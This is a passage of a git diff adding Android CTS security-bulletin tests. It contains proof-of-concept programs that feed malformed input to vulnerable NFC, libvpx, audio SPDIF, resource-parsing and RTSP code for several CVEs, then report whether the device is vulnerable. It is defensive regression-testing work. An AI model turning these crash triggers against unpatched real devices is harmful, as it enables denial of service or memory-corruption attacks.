+ p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+
+ p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+ p_t3t->ndef_attrib.ln = 0x000F;
+
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->offset = 0;
+ p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+ uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+ p_t3t_rsp[0] = NCI_STATUS_OK;
+ p_t3t_rsp++;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
index bcbf54f..aa9a2f9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,23 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-0034",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "32",
+ arch: {
+ arm: {
+ include_dirs: [
+ "external/libvpx/config/arm-neon",
+ ],
+ shared_libs: [
+ "libvpx",
+ ],
+ cflags: [
+ "-DTEST_ARM32",
+ ],
+ },
+ },
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 0000000..cc7cc22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+ if (fp) {
+ fclose(fp);
+ }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+#ifdef TEST_ARM32
+ atexit(exitHandler);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ FAIL_CHECK(argc >= 2);
+ fp = fopen(argv[1], "rb");
+ FAIL_CHECK(fp);
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+ std::vector<uint8_t> buffer(size);
+ FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+ vpx_codec_ctx_t codec;
+ vpx_codec_dec_cfg_t cfg;
+ memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+ cfg.threads = 1;
+ FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+ uint8_t *data = buffer.data();
+ data += IVF_FILE_HDR_SZ;
+ size -= IVF_FILE_HDR_SZ;
+
+ while (size > IVF_FRAME_HDR_SZ) {
+ size_t frame_size = mem_get_le32(data);
+ size -= IVF_FRAME_HDR_SZ;
+ data += IVF_FRAME_HDR_SZ;
+ frame_size = std::min(size, frame_size);
+
+ testInProgress = true;
+ vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+ testInProgress = false;
+
+ vpx_codec_iter_t iter = nullptr;
+ vpx_image_t *img = nullptr;
+ while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+ if (img->d_w > img->w || img->d_h > img->h) {
+ return EXIT_VULNERABLE;
+ }
+ }
+ data += frame_size;
+ size -= frame_size;
+ }
+ vpx_codec_destroy(&codec);
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
index 807b9106..2a5682f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,6 +14,7 @@
* limitations under the License.
*
*/
+
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea446..8249c0c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
#include <nfc_api.h>
#include <rw_int.h>
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
rw_init();
rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@
p_t2t->bytes_count = 1;
p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
index bcbf54f..31fbfd2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,12 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-0458",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libaudiospdif",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
new file mode 100644
index 0000000..dbb4ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <audio_utils/spdif/SPDIFEncoder.h>
+#include "../includes/common.h"
+
+// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder"
+class PocSPDIFEncoder : public android::SPDIFEncoder {
+ public:
+
+ explicit PocSPDIFEncoder(audio_format_t format)
+ : SPDIFEncoder(format) {
+ }
+
+ PocSPDIFEncoder() = default;
+
+ size_t getBurstBufferSizeBytes() const {
+ return mBurstBufferSizeBytes;
+ }
+
+ size_t getByteCursor() const {
+ return mByteCursor;
+ }
+
+ android::FrameScanner *getFramer() const {
+ return mFramer;
+ }
+
+ size_t getPayloadBytesPending() const {
+ return mPayloadBytesPending;
+ }
+
+ ssize_t writeOutput(const void*, size_t numBytes) override {
+ mOutputSizeBytes = numBytes;
+ return numBytes;
+ }
+
+ size_t mOutputSizeBytes = 0;
+};
+
+int main() {
+ PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3);
+
+ // Beginning of the file channelcheck_48k6ch.eac3 with frame size
+ // forced to zero
+ uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E,
+ 0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
+ 0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9,
+ 0xE7 };
+ encoder.write(buf, sizeof(buf));
+
+ size_t bufferSize = encoder.getBurstBufferSizeBytes();
+
+ // If vulnerability is present, 'mPayloadBytesPending' will be assigned
+ // a large overflowed value
+ size_t pendingBytes = encoder.getPayloadBytesPending();
+
+ // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending',
+ // this will happen if 'mPayloadBytesPending' holds a overflowed value
+ return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
similarity index 96%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
index bcbf54f..6595bcc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -20,7 +20,7 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-29374",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
srcs: ["poc.cpp",],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935c..5033b2e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a..bb3bdc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
* limitations under the License.
*/
+#include <../includes/common.h>
+#include <../includes/memutils.h>
#include <nfc_int.h>
#include <rw_int.h>
#define RW_MFC_STATE_READ_NDEF 0x03
#define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
-void GKI_freebuf(void*) {
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
}
-void GKI_start_timer(uint8_t, int32_t, bool) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
}
-void GKI_stop_timer(uint8_t) {
-}
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
-void cback(tRW_EVENT, tRW_DATA*) {
+ if (p_mfc) {
+ if (p_mfc->p_ndef_buffer) {
+ free(p_mfc->p_ndef_buffer);
+ p_mfc->p_ndef_buffer = nullptr;
+ }
+ free(p_mfc);
+ p_mfc = nullptr;
+ }
}
int main() {
- tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ p_mfc = &rw_cb.tcb.mfc;
GKI_init();
rw_init();
uint8_t selres = 1;
- uint8_t uid[MFC_UID_LEN] = { 1 };
- if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ uint8_t uid[MFC_UID_LEN] = {1};
+
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
p_mfc->state = RW_MFC_STATE_READ_NDEF;
p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
- tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
- tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
- p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
- if (!(p_data->data.p_data)) {
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+ FAIL_CHECK(p_data->data.p_data);
p_data->data.status = NFC_STATUS_OK;
tNFC_CONN_EVT event = NFC_DATA_CEVT;
- NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
- mfc_data->len = 0x10;
+ NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+ mfc_data->len = RW_MFC_DATA_LEN;
mfc_data->offset = 0;
- p_mfc->ndef_length = 1024;
- p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
- if (!(p_mfc->p_ndef_buffer)) {
- free(p_data->data.p_data);
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+ p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(p_mfc->p_ndef_buffer);
rw_cb.p_cback = cback;
+ isTestInProgress = true;
p_cb->p_cback(0, event, p_data);
+ isTestInProgress = false;
- free(p_mfc->p_ndef_buffer);
- free(p_data->data.p_data);
- free(p_data);
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 0000000..8fd6801
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39664",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libandroidfw",
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 0000000..0c477f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+ if (file) {
+ fclose(file);
+ file = nullptr;
+ }
+}
+
+int main(int argc, char **argv) {
+ atexit(exitHandler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ FAIL_CHECK(argc >= 2);
+ file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ enable_selective_overload = ENABLE_ALL;
+ std::vector<uint8_t> buffer(size);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+ testInProgress = true;
+ LoadedArsc::Load(buffer.data(), size);
+ testInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
index bcbf54f..0597cdf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
}
cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ name: "CVE-2021-39665",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediaplayerservice",
+ "libstagefright_foundation",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libstagefright/rtsp",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 0000000..a008005
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+ if (!realMalloc) {
+ realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (!realMalloc) {
+ return nullptr;
+ }
+ }
+ if (isOverloadingEnabled && (size == 0)) {
+ size_t pageSize = sysconf(_SC_PAGE_SIZE);
+ void *ptr = memalign(pageSize, pageSize);
+ mprotect(ptr, pageSize, PROT_NONE);
+ return ptr;
+ }
+ return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*oldAction.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&newAction.sa_mask);
+ newAction.sa_flags = SA_SIGINFO;
+ newAction.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &newAction, &oldAction);
+
+ sp<ABuffer> buffer(new ABuffer(16));
+ FAIL_CHECK(buffer != nullptr);
+
+ sp<AMessage> meta = buffer->meta();
+ FAIL_CHECK(meta != nullptr);
+
+ uint32_t rtpTime = 16;
+ meta->setInt32("rtp-time", rtpTime);
+
+ AAVCAssembler *assembler = new AAVCAssembler(meta);
+ FAIL_CHECK(assembler != nullptr);
+
+ isOverloadingEnabled = true;
+ sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+ isOverloadingEnabled = false;
+
+ isTestInProgress = true;
+ assembler->checkSpsUpdated(zeroSizedBuffer);
+ isTestInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
similarity index 66%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
index bcbf54f..b4bdd3c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -20,7 +20,20 @@
}
cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ name: "CVE-2021-39675",
+ compile_multilib: "64",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
index bcbf54f..78ebda8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -1,26 +1,22 @@
-/*
+/**
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
+ * You may obtain a copy of the License at
*
- * http://www.apache.org/licenses/LICENSE-2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
+#include "../includes/common.h"
+#include "gki.h"
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+int main() {
+ return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
}
